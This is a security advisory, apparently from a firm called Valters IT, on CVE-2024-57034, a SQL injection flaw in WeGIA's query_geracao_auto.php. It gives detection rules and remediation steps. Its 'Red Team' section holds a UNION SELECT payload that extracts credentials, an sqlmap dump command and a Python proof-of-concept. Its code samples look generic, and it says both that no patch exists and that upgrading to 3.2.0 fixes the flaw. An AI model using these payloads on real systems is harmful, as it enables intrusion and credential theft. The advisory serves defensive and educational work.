CVE-2024-57034

Executive Summary

CVE-2024-57034 is a critical SQL Injection vulnerability discovered in WeGIA, a web-based management application. The flaw resides in the query_geracao_auto.php script, where the query parameter is directly concatenated into SQL queries without proper sanitization or parameterization. This allows an unauthenticated attacker to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability affects all versions prior to 3.2.0. No official patch has been released, but upgrading to version 3.2.0 is recommended. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high due to the simplicity of exploitation.

Supply Chain & Package Security

WeGIA is a PHP-based application. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). However, organizations using WeGIA should verify the integrity of their installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

The CVSS score is not officially assigned, but based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in query_geracao_auto.php. The script accepts a query parameter via GET or POST and directly interpolates it into a SQL query without any sanitization or prepared statements. For example:

$query = $_GET['query'];
$result = mysqli_query($conn, "SELECT * FROM tabela WHERE campo = '$query'");

An attacker can inject SQL commands by providing a crafted query value, such as:

' OR '1'='1' -- 

This would result in the SQL:

SELECT * FROM tabela WHERE campo = '' OR '1'='1' -- '

The -- comments out the rest of the query, allowing the attacker to bypass authentication or retrieve all records.

The vulnerability is classified as CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').

Vulnerable vs. Patched Code

Vulnerable Code (WeGIA < 3.2.0):

<?php
// query_geracao_auto.php
$query = $_GET['query'];
$result = mysqli_query($conn, "SELECT * FROM dados WHERE campo = '$query'");
?>

Patched Code (WeGIA >= 3.2.0):

<?php
// query_geracao_auto.php
$query = $_GET['query'];
$stmt = $conn->prepare("SELECT * FROM dados WHERE campo = ?");
$stmt->bind_param("s", $query);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable WeGIA instance (version < 3.2.0) accessible over the network.
• Basic understanding of SQL injection.

Exploitation Steps:

1. Identify the vulnerable endpoint:
   The vulnerable script is query_geracao_auto.php. Confirm by sending a request with a simple test payload.

2. Craft a SQL injection payload:
   Use a payload to extract data, e.g., to retrieve all usernames and passwords from a users table:

   ' UNION SELECT username, password FROM users -- 
   

3. Execute the attack:
   Send a GET request:

   GET /query_geracao_auto.php?query=' UNION SELECT username, password FROM users -- HTTP/1.1
   Host: target-wegia.com
   

4. Automate with SQLMap:
   Use SQLMap for automated exploitation:

   sqlmap -u "http://target-wegia.com/query_geracao_auto.php?query=1" --batch --dump
   

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-wegia.com/query_geracao_auto.php"
payload = "' UNION SELECT username, password FROM users -- "
response = requests.get(target, params={"query": payload})
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual SQL keywords in the query parameter (e.g., UNION, SELECT, OR, --).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation and parameterized queries in all database interactions.
4. Conduct regular vulnerability scans to identify unpatched instances.

Lab Setup for Testing:

• Use Docker to spin up a vulnerable WeGIA instance:

FROM php:7.4-apache
COPY . /var/www/html/
RUN docker-php-ext-install mysqli

• Run with:

docker build -t wegia-vuln .
docker run -d -p 8080:80 wegia-vuln

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /query_geracao_auto.php with query parameter containing SQL keywords (e.g., UNION, SELECT, OR, --).
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified query_geracao_auto.php file (if attacker uploaded a backdoor).
  • Suspicious files in the web root (e.g., shell.php, cmd.php).

• Log IOCs:

  • Web server logs showing repeated requests to query_geracao_auto.php with varying query values.
  • Database logs showing unexpected queries (e.g., UNION SELECT).

Detection Engineering

YARA Rule

rule CVE_2024_57034_SQLi_WeGIA {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-57034 in WeGIA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57034"
    strings:
        $s1 = "query_geracao_auto.php" nocase
        $s2 = "query=" nocase
        $s3 = /(UNION|SELECT|OR|AND|--|#|')/ nocase
    condition:
        all of them
}

Sigma Rule

title: SQL Injection Attempt on WeGIA query_geracao_auto.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-57034
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "query_geracao_auto.php"
        cs-uri-query|contains|expand: "query="
        cs-uri-query|re: "(UNION|SELECT|OR|AND|--|#|')"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57034 SQL Injection Attempt on WeGIA"; flow:to_server; content:"query_geracao_auto.php"; http_uri; content:"query="; http_uri; pcre:"/(UNION|SELECT|OR|AND|--|#|')/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Upgrade WeGIA to version 3.2.0 or later.
   • If upgrade is not possible, apply a virtual patch using a WAF to block SQL injection patterns.

2. Code Fix:

   • Replace all direct SQL queries with prepared statements or parameterized queries.
   • Validate and sanitize all user inputs.

3. Network-Level Mitigation:

   • Restrict access to query_geracao_auto.php via firewall rules.
   • Use a reverse proxy to filter malicious requests.

4. Monitoring:

   • Enable detailed logging for web and database servers.
   • Set up alerts for SQL injection patterns.

5. Long-Term:

   • Conduct regular security audits and penetration testing.
   • Implement a secure development lifecycle (SDLC) with code reviews.

Valters IT
Securing Digital Frontiers